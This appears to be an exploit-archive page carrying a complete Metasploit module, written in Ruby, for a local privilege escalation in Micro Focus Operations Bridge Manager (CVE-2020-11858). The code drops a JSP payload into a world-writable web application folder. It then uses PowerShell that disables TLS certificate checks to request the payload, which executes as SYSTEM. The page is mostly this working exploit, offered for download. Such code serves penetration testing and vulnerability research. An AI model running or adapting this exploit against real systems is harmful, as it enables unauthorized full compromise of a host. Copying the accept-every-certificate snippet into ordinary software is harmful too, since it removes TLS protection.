Micro Focus Operations Bridge Manager Local Privilege Escalation

Authored by Pedro Ribeiro | Site metasploit.com

Posted Feb 15, 2021

This Metasploit module exploits an insecure permission vulnerability on a folder in Micro Focus Operations Bridge Manager. An unprivileged user (such as Guest) can drop a JSP file in an exploded WAR directory and then access it without authentication by making a request to the OBM server. This will result in automatic code execution as SYSTEM. This module has been tested on OBM 2020.05, but it should work out of the box on earlier versions too.

tags | exploit, code execution
advisories | CVE-2020-11858
SHA-256 | 9f7b81606219444bc6266e1abaa5acdb608ceef1654125907f4811cfd79d69d4 Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Windows::Powershell
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Micro Focus Operations Bridge Manager Local Privilege Escalation',
        'Description' => %q{
          This module exploits an incorrectly permissioned folder in Micro Focus Operations Bridge
          Manager.
          An unprivileged user (such as Guest) can drop a JSP file in an exploded WAR directory and
          then access it without authentication by making a request to the OBM server.
          This will result in automatic code execution as SYSTEM. This module has been tested on
          OBM 2020.05, but it should work out of the box on earlier versions too.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module
          ],
        'Platform' => 'win',
        'Privileged' => true,
        'SessionTypes' => ['meterpreter'],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'Targets' =>
          [
            [
              'Micro Focus Operations Bridge Manager <= 2020.05',
              {
                'Path' => 'C:\HPBSM\AppServer\webapps\site.war\LB_Verify.jsp'
              }
            ]
          ],
        'References' =>
          [
            [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBM.md'],
            [ 'CVE', '2020-11858'],
            [ 'ZDI', '20-1326'],
          ],
        'DisclosureDate' => '2020-10-28',
        'DefaultTarget' => 0
      )
    )

    register_options([
      Opt::RPORT(443),
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]),
    ])
  end

  def exploit
    unless session.type == 'meterpreter'
      fail_with(Failure::None, 'Only meterpreter sessions are supported')
    end

    unless have_powershell?
      fail_with(Failure::None, 'No Powershell is installed on the host')
    end

    # according to /lib/msf/core/post/file.rb this is not binary safe on Windows, but we don't care, it's JSP
    payload_jsp = Msf::Util::EXE.to_jsp(generate_payload_exe)
    write_file(target['Path'], payload_jsp)

    if datastore['SSL']
      prefix = 'https://'
      # Code below allows us to perform TLS requests to servers with self signed certs
      # In Powershell 5.1, we can simply use -SkipCertificateCheck, but in older versions we need this
      # Taken from https://stackoverflow.com/questions/11696944/powershell-v3-invoke-webrequest-https-error
      ps_cmd = %[
add-type @"
using System.Net;
using System.Security.Cryptography.X509Certificates;
public class TrustAllCertsPolicy : ICertificatePolicy {
    public bool CheckValidationResult(
        ServicePoint srvPoint, X509Certificate certificate,
        WebRequest request, int certificateProblem) {
        return true;
    }
}
"@
$AllProtocols = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'
[System.Net.ServicePointManager]::SecurityProtocol = $AllProtocols
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
]
    else
      prefix = 'http://'
      ps_cmd = ''
    end

    uri = "#{prefix}127.0.0.1:#{datastore['RPORT']}#{datastore['TARGETURI']}topaz/LB_Verify.jsp"
    print_status("JSP dropped, calling it @ #{uri}")
    ps_cmd += "Invoke-WebRequest -Uri #{uri}"
    execute_script(ps_cmd)
  end
end
```

Login or Register to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 154 files
Ubuntu 73 files
LiquidWorm 23 files
Debian 18 files
malvuln 11 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 8 files
T. Weber 4 files
Julien Ahrens 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter

Subscribe to an RSS Feed